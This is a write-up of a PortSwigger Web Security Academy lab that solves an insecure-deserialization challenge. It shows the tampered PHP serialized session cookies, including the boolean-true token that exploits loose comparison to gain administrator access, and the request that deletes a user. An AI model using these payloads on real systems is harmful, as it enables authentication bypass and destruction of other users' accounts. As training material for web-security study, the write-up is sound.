| Field | Detail |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | Insecure Deserialization — Data Type Manipulation, Authentication Bypass |
| Difficulty | Practitioner |
| Objective | Edit the serialized object in the session cookie to access the administrator account, then delete the user carlos |
Modifying Serialized Data Types¶
I logged in as wiener:peter and decoded the base64 session cookie from /my-account:
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"u2yfvss3uwmvtwy16fnbtf4nhhix1yuf";}
Two properties: username and access_token (32-char string). Unlike the previous lab, there's no admin boolean — access is controlled by the token, which we don't know for the administrator account.
First attempt: swap username to administrator while keeping our own token:
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";s:32:"u2yfvss3uwmvtwy16fnbtf4nhhix1yuf";}
The serialized length s:13 matches administrator exactly — the parser accepts the structure — but the server returned a PHP deserialization error, meaning either the token comparison failed or the logic itself threw. The string length field must match the actual string precisely or the parser rejects the object; that's how strict the structure check is. The subsequent comparison logic, however, can be a different story.
In PHP, loose comparison (==) treats boolean true as equal to any non-empty string. If the server compares the submitted access_token against the administrator's stored token using == rather than ===, submitting b:1 (PHP serialized boolean true) as the token type instead of a string bypasses the check entirely — the type change is what matters, not guessing the correct string value:
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";b:1;}
Sending this returned a 302. Following the redirect, the admin panel appeared. The response contained <a href="/admin/delete?username=carlos">. Requesting that:
GET /admin/delete?username=carlos HTTP/2
carlos deleted and Lab solved